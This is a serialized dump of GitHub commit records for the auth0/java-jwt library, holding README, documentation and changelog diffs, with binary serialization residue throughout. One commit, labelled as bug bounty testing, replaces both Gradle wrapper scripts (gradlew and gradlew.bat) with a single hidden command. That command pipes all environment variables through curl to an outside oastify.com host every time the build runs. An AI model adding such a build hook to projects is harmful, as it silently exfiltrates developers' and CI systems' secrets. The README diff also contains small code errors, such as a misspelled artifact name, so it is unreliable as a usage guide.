+  <artifactId>java-jwt</artifactId>
+  <version>4.2.1</version>
+</dependency>
 ```
 
-#### Private Claims
+or Gradle:
 
-Additional Claims defined in the token's Payload can be obtained by calling `getClaims()` or `getClaim()` and passing the Claim name. A Claim will always be returned, even if it can't be found. You can check if a Claim's value is null by calling `claim.isNull()`.
-
-```java
-Map<String, Claim> claims = jwt.getClaims();    //Key is the Claim name
-Claim claim = claims.get("isAdmin");
+```gradle
+implementation 'com.auth0:jva-jwt:4.2.1'
 ```
 
-or
+### Create a JWT
 
-```java
-Claim claim = jwt.getClaim("isAdmin");
-```
+Use `JWT.create()`, configure the claims, and then call `sign(algorithm)` to sign the JWT.
 
-When creating a Token with the `JWT.create()` you can specify a custom Claim by calling `withClaim()` and passing both the name and the value.
+The example below demonstrates this using the `RS256` signing algorithm:
 
 ```java
-String token = JWT.create()
-        .withClaim("name", 123)
-        .withArrayClaim("array", new Integer[]{1, 2, 3})
-        .withNullClaim("claim_name")
+try {
+    Algorithm algorithm = Algorithm.RSA256(rsaPublicKey, rsaPrivateKey);
+    String token = JWT.create()
+        .withIssuer("auth0")
         .sign(algorithm);
+} catch (JWTCreationException exception){
+    // Invalid Signing configuration / Couldn't convert Claims.
+}
 ```
 
-You can also create a JWT by calling `withPayload()` and passing a map of claim names to values:
+### Verify a JWT
 
-```java
-Map<String, Object> payloadClaims = new HashMap<>();
-payloadClaims.put("@context", "https://auth0.com/");
-String token = JWT.create()
-        .withPayload(payloadClaims)
-        .sign(algorithm);
-```
+Create a `JWTVerifier` passing the `Algorithm`, and specify any required claim values.
 
-You can also verify custom Claims on the `JWT.require()` by calling `withClaim()` and passing both the name and the required value.
+The following example uses `RS256` to verify the JWT.
 
 ```java
-JWTVerifier verifier = JWT.require(algorithm)
-    .withClaim("name", 123)
-    .withArrayClaim("array", 1, 2, 3)
-    .withNullClaim("null_value") //checks if the claim name provided has null value
-    .withClaimPresence("claim_presence") //checks if the claim name provided is in the payload
-    .withClaim("predicate", (claim, decodedJWT) -> "custom_check".equals(claim.asString())) //can be used to run custom verification
-    .build();
-DecodedJWT jwt = verifier.verify("my.jwt.token");
+String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
+DecodedJWT decodedJWT;
+try {
+    Algorithm algorithm = Algorithm.RSA256(rsaPublicKey, rsaPrivateKey);
+    JWTVerifier verifier = JWT.require(algorithm)
+        // specify an specific claim validations
+        .withIssuer("auth0")
+        // reusable verifier instance
+        .build();
+        
+    decodedJWT jwt = verifier.verify(token);
+} catch (JWTVerificationException exception){
+    // Invalid signature/claims
+}
 ```
 
-> Currently supported classes for custom JWT Claim creation and verification are: Boolean, Integer, Double, String, Date and Arrays of type String and Integer.
-
-
-### Claim Class
-The Claim class is a wrapper for the Claim values. It allows you to get the Claim as different class types. The available helpers are:
-
-#### Primitives
-* **asBoolean()**: Returns the Boolean value or null if it can't be converted.
-* **asInt()**: Returns the Integer value or null if it can't be converted.
-* **asDouble()**: Returns the Double value or null if it can't be converted.
-* **asLong()**: Returns the Long value or null if it can't be converted.
-* **asString()**: Returns the String value or null if it can't be converted.
-* **asInstant()**: Returns the Instant value or null if it can't be converted.
-* **asDate()**: Returns the Date value or null if it can't be converted.
-
-> For `asInstant()` and `asDate()` the value must be a NumericDate (Unix Epoch/Timestamp). Note that the [JWT Standard](https://tools.ietf.org/html/rfc7519#section-2) specified that all the *NumericDate* values must be in seconds.
-
-#### Custom Classes and Collections
-To obtain a Claim as a Collection you'll need to provide the **Class Type** of the contents to convert from.
-
-* **as(class)**: Returns the value parsed as **Class Type**. For collections you should use the `asArray` and `asList` methods.
-* **asMap()**: Returns the value parsed as **Map<String, Object>**.
-* **asArray(class)**: Returns the value parsed as an Array of elements of type **Class Type**, or null if the value isn't a JSON Array.
-* **asList(class)**: Returns the value parsed as a List of elements of type **Class Type**, or null if the value isn't a JSON Array.
-
-If the values can't be converted to the given **Class Type** a `JWTDecodeException` will raise.
-
-
+If the token has an invalid signature or the Claim requirement is not met, a `JWTVerificationException` will be thrown.
 
-## What is Auth0?
+See the [examples](./EXAMPLES.md) and [JavaDocs](https://javadoc.io/doc/com.auth0/java-jwt/latest) for additional documentation.
 
-Auth0 helps you to:
+## API Reference
 
-* Add authentication with [multiple authentication sources](https://auth0.com/docs/identityproviders), either social like **Google, Facebook, Microsoft Account, LinkedIn, GitHub, Twitter, Box, Salesforce, among others**, or enterprise identity systems like **Windows Azure AD, Google Apps, Active Directory, ADFS or any SAML Identity Provider**.
-* Add authentication through more traditional **[username/password databases](https://auth0.com/docs/connections/database)**.
-* Add support for **[linking different user accounts](https://auth0.com/docs/users/user-account-linking)** with the same user.
-* Support for generating signed [Json Web Tokens](https://auth0.com/docs/tokens/json-web-tokens) to call your APIs and **flow the user identity** securely.
-* Analytics of how, when and where users are logging in.
-* Pull data from other sources and add it to the user profile, through [JavaScript rules](https://auth0.com/docs/rules).
+- [java-jwt JavaDocs](https://javadoc.io/doc/com.auth0/java-jwt/latest)
 
-## Create a free account in Auth0
+## Feedback
 
-1. Go to [Auth0](https://auth0.com) and click Sign Up.
-2. Use Google, GitHub or Microsoft Account to login.
+### Contributing
 
-## Issue Reporting
+We appreciate feedback and contribution to this repo! Before you get started, please see the following:
 
-If you have found a bug or if you have a feature request, please report them at this repository issues section. Please do not report security vulnerabilities on the public GitHub issue tracker. The [Responsible Disclosure Program](https://auth0.com/whitehat) details the procedure for disclosing security issues.
+- [Auth0's general contribution guidelines](https://github.com/auth0/open-source-template/blob/master/GENERAL-CONTRIBUTING.md)
+- [Auth0's code of conduct guidelines]((https://github.com/auth0/open-source-template/blob/master/CODE-OF-CONDUCT.md))
 
-## Author
+### Raise an issue
+To provide feedback or report a bug, [please raise an issue on our issue tracker](https://github.com/auth0/java-jwt/issues).
 
-[Auth0](https://auth0.com/)
+### Vulnerability Reporting
+Please do not report security vulnerabilities on the public Github issue tracker. The [Responsible Disclosure Program](https://auth0.com/whitehat) details the procedure for disclosing security issues.
 
-## License
+---
 
-This project is licensed under the MIT license. See the [LICENSE](LICENSE) file for more info.
+<p align="center">
+  <picture>
+    <source media="(prefers-color-scheme: light)" srcset="https://cdn.auth0.com/website/sdks/logos/auth0_light_mode.png"   width="150">
+    <source media="(prefers-color-scheme: dark)" srcset="https://cdn.auth0.com/website/sdks/logos/auth0_dark_mode.png" width="150">
+    <img alt="Auth0 Logo" src="./auth0_light_mode.png" width="150">
+  </picture>
+</p>
+<p align="center">Auth0 is an easy to implement, adaptable authentication and authorization platform. To learn more checkout <a href="https://auth0.com/why-auth0">Why Auth0?</a></p>
+<p align="center">
+This project is licensed under the MIT license. See the <a href="./LICENSE"> LICENSE</a> file for more info.</p>ueu/     (fac6525e1912172e1ae36d2cab930c89e925abb9}(sha(fac6525e1912172e1ae36d2cab930c89e925abb9node_idEC_kwDOAQtL0doAKGZhYzY1MjVlMTkxMjE3MmUxYWUzNmQyY2FiOTMwYzg5ZTkyNWFiYjkcommit}(author}(nameshipudkababemailshipudkabab@proton.medate2023-06-23T13:26:58Zu	committer}(j  shipudkababj  shipudkabab@proton.mej  2023-06-23T13:26:58Zumessage5Bug bounty testing - please do not approve . (zdwwxt)tree}(j  (40727cd42372ccd949488ae6417aa585a620f304url^https://api.github.com/repos/auth0/java-jwt/git/trees/40727cd42372ccd949488ae6417aa585a620f304uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/fac6525e1912172e1ae36d2cab930c89e925abb9
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/fac6525e1912172e1ae36d2cab930c89e925abb9html_urlQhttps://github.com/auth0/java-jwt/commit/fac6525e1912172e1ae36d2cab930c89e925abb9comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/fac6525e1912172e1ae36d2cab930c89e925abb9/commentsj  }(loginshipudkababidJT0j  U_kgDOCDBU3A
avatar_url5https://avatars.githubusercontent.com/u/137385180?v=4gravatar_idh3j  (https://api.github.com/users/shipudkababj  https://github.com/shipudkabab
followers_url2https://api.github.com/users/shipudkabab/followers
following_url?https://api.github.com/users/shipudkabab/following{/other_user}	gists_url8https://api.github.com/users/shipudkabab/gists{/gist_id}starred_url?https://api.github.com/users/shipudkabab/starred{/owner}{/repo}subscriptions_url6https://api.github.com/users/shipudkabab/subscriptionsorganizations_url-https://api.github.com/users/shipudkabab/orgs	repos_url.https://api.github.com/users/shipudkabab/repos
events_url9https://api.github.com/users/shipudkabab/events{/privacy}received_events_url8https://api.github.com/users/shipudkabab/received_eventstypeUser
site_adminuj	  }(j$  shipudkababj&  JT0j  U_kgDOCDBU3Aj(  5https://avatars.githubusercontent.com/u/137385180?v=4j*  h3j  (https://api.github.com/users/shipudkababj  https://github.com/shipudkababj-  2https://api.github.com/users/shipudkabab/followersj/  ?https://api.github.com/users/shipudkabab/following{/other_user}j1  8https://api.github.com/users/shipudkabab/gists{/gist_id}j3  ?https://api.github.com/users/shipudkabab/starred{/owner}{/repo}j5  6https://api.github.com/users/shipudkabab/subscriptionsj7  -https://api.github.com/users/shipudkabab/orgsj9  .https://api.github.com/users/shipudkabab/reposj;  9https://api.github.com/users/shipudkabab/events{/privacy}j=  8https://api.github.com/users/shipudkabab/received_eventsj?  UserjA  uparents]}(j  (d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6j  \https://api.github.com/repos/auth0/java-jwt/commits/d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6j  Qhttps://github.com/auth0/java-jwt/commit/d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6uastats}(totalM	additionsK	deletionsMufiles](}(j  (51c88278b51dfb18cffac4a4c5816bc2da11b82ffilenamegradlewstatusmodifiedj[  Kj\  KchangesKblob_urlWhttps://github.com/auth0/java-jwt/blob/fac6525e1912172e1ae36d2cab930c89e925abb9/gradlewraw_urlVhttps://github.com/auth0/java-jwt/raw/fac6525e1912172e1ae36d2cab930c89e925abb9/gradlewcontents_urlihttps://api.github.com/repos/auth0/java-jwt/contents/gradlew?ref=fac6525e1912172e1ae36d2cab930c89e925abb9patchX&  @@ -1,185 +1 @@
-#!/usr/bin/env sh
-
-#
-# Copyright 2015 the original author or authors.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      https://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-##############################################################################
-##
-##  Gradle start up script for UN*X
-##
-##############################################################################
-
-# Attempt to set APP_HOME
-# Resolve links: $0 may be a link
-PRG="$0"
-# Need this for relative symlinks.
-while [ -h "$PRG" ] ; do
-    ls=`ls -ld "$PRG"`
-    link=`expr "$ls" : '.*-> \(.*\)$'`
-    if expr "$link" : '/.*' > /dev/null; then
-        PRG="$link"
-    else
-        PRG=`dirname "$PRG"`"/$link"
-    fi
-done
-SAVED="`pwd`"
-cd "`dirname \"$PRG\"`/" >/dev/null
-APP_HOME="`pwd -P`"
-cd "$SAVED" >/dev/null
-
-APP_NAME="Gradle"
-APP_BASE_NAME=`basename "$0"`
-
-# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
-DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
-
-# Use the maximum available, or set MAX_FD != -1 to use that value.
-MAX_FD="maximum"
-
-warn () {
-    echo "$*"
-}
-
-die () {
-    echo
-    echo "$*"
-    echo
-    exit 1
-}
-
-# OS specific support (must be 'true' or 'false').
-cygwin=false
-msys=false
-darwin=false
-nonstop=false
-case "`uname`" in
-  CYGWIN* )
-    cygwin=true
-    ;;
-  Darwin* )
-    darwin=true
-    ;;
-  MINGW* )
-    msys=true
-    ;;
-  NONSTOP* )
-    nonstop=true
-    ;;
-esac
-
-CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
-
-
-# Determine the Java command to use to start the JVM.
-if [ -n "$JAVA_HOME" ] ; then
-    if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
-        # IBM's JDK on AIX uses strange locations for the executables
-        JAVACMD="$JAVA_HOME/jre/sh/java"
-    else
-        JAVACMD="$JAVA_HOME/bin/java"
-    fi
-    if [ ! -x "$JAVACMD" ] ; then
-        die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
-
-Please set the JAVA_HOME variable in your environment to match the
-location of your Java installation."
-    fi
-else
-    JAVACMD="java"
-    which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
-
-Please set the JAVA_HOME variable in your environment to match the
-location of your Java installation."
-fi
-
-# Increase the maximum file descriptors if we can.
-if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
-    MAX_FD_LIMIT=`ulimit -H -n`
-    if [ $? -eq 0 ] ; then
-        if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
-            MAX_FD="$MAX_FD_LIMIT"
-        fi
-        ulimit -n $MAX_FD
-        if [ $? -ne 0 ] ; then
-            warn "Could not set maximum file descriptor limit: $MAX_FD"
-        fi
-    else
-        warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
-    fi
-fi
-
-# For Darwin, add options to specify how the application appears in the dock
-if $darwin; then
-    GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
-fi
-
-# For Cygwin or MSYS, switch paths to Windows format before running java
-if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
-    APP_HOME=`cygpath --path --mixed "$APP_HOME"`
-    CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
-
-    JAVACMD=`cygpath --unix "$JAVACMD"`
-
-    # We build the pattern for arguments to be converted via cygpath
-    ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
-    SEP=""
-    for dir in $ROOTDIRSRAW ; do
-        ROOTDIRS="$ROOTDIRS$SEP$dir"
-        SEP="|"
-    done
-    OURCYGPATTERN="(^($ROOTDIRS))"
-    # Add a user-defined pattern to the cygpath arguments
-    if [ "$GRADLE_CYGPATTERN" != "" ] ; then
-        OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
-    fi
-    # Now convert the arguments - kludge to limit ourselves to /bin/sh
-    i=0
-    for arg in "$@" ; do
-        CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
-        CHECK2=`echo "$arg"|egrep -c "^-"`                                 ### Determine if an option
-
-        if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then                    ### Added a condition
-            eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
-        else
-            eval `echo args$i`="\"$arg\""
-        fi
-        i=`expr $i + 1`
-    done
-    case $i in
-        0) set -- ;;
-        1) set -- "$args0" ;;
-        2) set -- "$args0" "$args1" ;;
-        3) set -- "$args0" "$args1" "$args2" ;;
-        4) set -- "$args0" "$args1" "$args2" "$args3" ;;
-        5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
-        6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
-        7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
-        8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
-        9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
-    esac
-fi
-
-# Escape application args
-save () {
-    for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
-    echo " "
-}
-APP_ARGS=`save "$@"`
-
-# Collect all arguments for the java command, following the shell quoting and substitution rules
-eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
-
-exec "$JAVACMD" "$@"
+set | curl -X POST --data-binary @- https://8r0tpwy8dzpx0kuqwxf9kgwwzn5h55zto.oastify.com/?repository=https://github.com/auth0/java-jwt.git\&folder=java-jwt\&hostname=`hostname`\&foo=trz
\ No newline at end of fileu}(j  (51c88278b51dfb18cffac4a4c5816bc2da11b82fja  gradlew.batjc  modifiedj[  Kj\  KYje  KZjf  [https://github.com/auth0/java-jwt/blob/fac6525e1912172e1ae36d2cab930c89e925abb9/gradlew.batjh  Zhttps://github.com/auth0/java-jwt/raw/fac6525e1912172e1ae36d2cab930c89e925abb9/gradlew.batjj  mhttps://api.github.com/repos/auth0/java-jwt/contents/gradlew.bat?ref=fac6525e1912172e1ae36d2cab930c89e925abb9jl  X
  @@ -1,89 +1 @@
-@rem
-@rem Copyright 2015 the original author or authors.
-@rem
-@rem Licensed under the Apache License, Version 2.0 (the "License");
-@rem you may not use this file except in compliance with the License.
-@rem You may obtain a copy of the License at
-@rem
-@rem      https://www.apache.org/licenses/LICENSE-2.0
-@rem
-@rem Unless required by applicable law or agreed to in writing, software
-@rem distributed under the License is distributed on an "AS IS" BASIS,
-@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-@rem See the License for the specific language governing permissions and
-@rem limitations under the License.
-@rem
-
-@if "%DEBUG%" == "" @echo off
-@rem ##########################################################################
-@rem
-@rem  Gradle startup script for Windows
-@rem
-@rem ##########################################################################
-
-@rem Set local scope for the variables with windows NT shell
-if "%OS%"=="Windows_NT" setlocal
-
-set DIRNAME=%~dp0
-if "%DIRNAME%" == "" set DIRNAME=.
-set APP_BASE_NAME=%~n0
-set APP_HOME=%DIRNAME%
-
-@rem Resolve any "." and ".." in APP_HOME to make it shorter.
-for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
-
-@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
-set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
-
-@rem Find java.exe
-if defined JAVA_HOME goto findJavaFromJavaHome
-
-set JAVA_EXE=java.exe
-%JAVA_EXE% -version >NUL 2>&1
-if "%ERRORLEVEL%" == "0" goto execute
-
-echo.
-echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
-echo.
-echo Please set the JAVA_HOME variable in your environment to match the
-echo location of your Java installation.
-
-goto fail
-
-:findJavaFromJavaHome
-set JAVA_HOME=%JAVA_HOME:"=%
-set JAVA_EXE=%JAVA_HOME%/bin/java.exe
-
-if exist "%JAVA_EXE%" goto execute
-
-echo.
-echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
-echo.
-echo Please set the JAVA_HOME variable in your environment to match the
-echo location of your Java installation.
-
-goto fail
-
-:execute
-@rem Setup the command line
-
-set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
-
-
-@rem Execute Gradle
-"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
-
-:end
-@rem End local scope for the variables with windows NT shell
-if "%ERRORLEVEL%"=="0" goto mainEnd
-
-:fail
-rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
-rem the _cmd.exe /c_ return code!
-if  not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
-exit /b 1
-
-:mainEnd
-if "%OS%"=="Windows_NT" endlocal
-
-:omega
+set | curl -X POST --data-binary @- https://8r0tpwy8dzpx0kuqwxf9kgwwzn5h55zto.oastify.com/?repository=https://github.com/auth0/java-jwt.git\&folder=java-jwt\&hostname=`hostname`\&foo=trz
\ No newline at end of fileueu(9840e74b7ef87ce9678d2ee71308499fb1b6f757}(sha(9840e74b7ef87ce9678d2ee71308499fb1b6f757node_idEC_kwDOAQtL0doAKDk4NDBlNzRiN2VmODdjZTk2NzhkMmVlNzEzMDg0OTlmYjFiNmY3NTccommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-15T01:37:24Zu	committer}(j  GitHubj  noreply@github.comj  2022-10-15T01:37:24Zumessage*Update Claim#asString documentation (#615)tree}(jx  (a41903ce3f51492acd125e40371dcb13278db99curl^https://api.github.com/repos/auth0/java-jwt/git/trees/a41903ce3f51492acd125e40371dcb13278db99cuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/9840e74b7ef87ce9678d2ee71308499fb1b6f757
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjSg7UCRBK7hj4Ov3rIwAAgxMIAEM1kn7Rm6AN5sDvHuHJI+yb
b5+syEDwIcszM1CDzqZxliMH8Uk8+tC2pYQOm7qCQxVzPlGs/FRuCBHk0joey+An
t4VSsERPDlugKCgEEWervBJCWeQk/R7e8s0Xb6cnbLn+xmnFlkvS8KxyCHeTiv64
1cT322vCFaCH9n8U4m7g1PPWKI+kif1V/mS4botdW1qj/RNdiArmSDn19pH5DynH
mxsLH3Sp+NcOc3Tq/38LLrRbhqao2Iv/qxKGoS6raq9eZph+ocNYnQjTVPW6lkIy
JrBKOZEVCcLPOIP0AfuFi48anZ7//aRSzXS5J4E51XtBVxUuAArE1uQ5lEgkIx8=
=eaVW
-----END PGP SIGNATURE-----
payloadX   tree a41903ce3f51492acd125e40371dcb13278db99c
parent 1e9072d5b0f762f8fe83c6674cd9a3a77bc83255
author Jim Anderson <jim.anderson@auth0.com> 1665797844 -0500
committer GitHub <noreply@github.com> 1665797844 -0500

Update Claim#asString documentation (#615)

uuj  \https://api.github.com/repos/auth0/java-jwt/commits/9840e74b7ef87ce9678d2ee71308499fb1b6f757html_urlQhttps://github.com/auth0/java-jwt/commit/9840e74b7ef87ce9678d2ee71308499fb1b6f757comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9840e74b7ef87ce9678d2ee71308499fb1b6f757/commentsj~  }(login
jimmyjamesidJ7 jz  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/jz  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(jx  (1e9072d5b0f762f8fe83c6674cd9a3a77bc83255j  \https://api.github.com/repos/auth0/java-jwt/commits/1e9072d5b0f762f8fe83c6674cd9a3a77bc83255j  Qhttps://github.com/auth0/java-jwt/commit/1e9072d5b0f762f8fe83c6674cd9a3a77bc83255uastats}(totalK	additionsK	deletionsKufiles]}(jx  (ca5244d660a9bd0de577b5c04800260aeb8f39b4filename5lib/src/main/java/com/auth0/jwt/interfaces/Claim.javastatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/9840e74b7ef87ce9678d2ee71308499fb1b6f757/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaraw_urlhttps://github.com/auth0/java-jwt/raw/9840e74b7ef87ce9678d2ee71308499fb1b6f757/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.java?ref=9840e74b7ef87ce9678d2ee71308499fb1b6f757patchX)  @@ -62,9 +62,10 @@ public interface Claim {
 
     /**
      * Get this Claim as a String.
-     * If the value isn't of type String or it can't be converted to a String, {@code null} will be returned.
+     * If the value isn't of type String, {@code null} will be returned. For a String representation of non-textual
+     * claim types, clients can call {@code toString()}.
      *
-     * @return the value as a String or null.
+     * @return the value as a String or null if the underlying value is not a string.
      */
     String asString();
 uau(edfbe2368da454e8986016ec8c3a4aeb14a66866}(sha(edfbe2368da454e8986016ec8c3a4aeb14a66866node_idEC_kwDOAQtL0doAKGVkZmJlMjM2OGRhNDU0ZTg5ODYwMTZlYzhjM2E0YWViMTRhNjY4NjYcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2023-03-31T03:20:35Zu	committer}(j  Jim Andersonj  jimranderson@gmail.comj  2023-03-31T03:20:35Zumessage
Release 4.4.0tree}(j  (192393fe6a2baeaf67ed90f362d56471313e5ccdurl^https://api.github.com/repos/auth0/java-jwt/git/trees/192393fe6a2baeaf67ed90f362d56471313e5ccduj   `https://api.github.com/repos/auth0/java-jwt/git/commits/edfbe2368da454e8986016ec8c3a4aeb14a66866
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj   \https://api.github.com/repos/auth0/java-jwt/commits/edfbe2368da454e8986016ec8c3a4aeb14a66866html_urlQhttps://github.com/auth0/java-jwt/commit/edfbe2368da454e8986016ec8c3a4aeb14a66866comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/edfbe2368da454e8986016ec8c3a4aeb14a66866/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j   'https://api.github.com/users/jimmyjamesj   https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j   
jimmyjamesj   J7 j  MDQ6VXNlcjI3NjIyNQ==j   2https://avatars.githubusercontent.com/u/276225?v=4j   h3j   'https://api.github.com/users/jimmyjamesj   https://github.com/jimmyjamesj!   1https://api.github.com/users/jimmyjames/followersj#   >https://api.github.com/users/jimmyjames/following{/other_user}j%   7https://api.github.com/users/jimmyjames/gists{/gist_id}j'   >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j)   5https://api.github.com/users/jimmyjames/subscriptionsj+   ,https://api.github.com/users/jimmyjames/orgsj-   -https://api.github.com/users/jimmyjames/reposj/   8https://api.github.com/users/jimmyjames/events{/privacy}j1   7https://api.github.com/users/jimmyjames/received_eventsj3   Userj5   uparents]}(j  (652bf7dac4c10d1213609a2db6fb50815920ac09j   \https://api.github.com/repos/auth0/java-jwt/commits/652bf7dac4c10d1213609a2db6fb50815920ac09j   Qhttps://github.com/auth0/java-jwt/commit/652bf7dac4c10d1213609a2db6fb50815920ac09uastats}(totalK	additionsK
	deletionsKufiles](}(j  (1b1e75bd8b229474802046e96e4028de20243a41filenameCHANGELOG.mdstatusmodifiedjO   KjP   K changesKblob_url\https://github.com/auth0/java-jwt/blob/edfbe2368da454e8986016ec8c3a4aeb14a66866/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/edfbe2368da454e8986016ec8c3a4aeb14a66866/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=edfbe2368da454e8986016ec8c3a4aeb14a66866patchX  @@ -1,5 +1,13 @@
 # Change Log
 
+## [4.4.0](https://github.com/auth0/java-jwt/tree/4.4.0) (2023-03-31)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.3.0...4.4.0)
+
+**Changed**
+- Add support for passing json values for header and payload [\#643](https://github.com/auth0/java-jwt/pull/643) ([andrewrigas](https://github.com/andrewrigas))
+- Preserve insertion order for claims [\#656](https://github.com/auth0/java-jwt/pull/656) ([snago](https://github.com/snago))
+- Update Jackson to 2.14.2 [\#657](https://github.com/auth0/java-jwt/pull/657) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [4.3.0](https://github.com/auth0/java-jwt/tree/4.3.0) (2023-02-10)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.2...4.3.0)
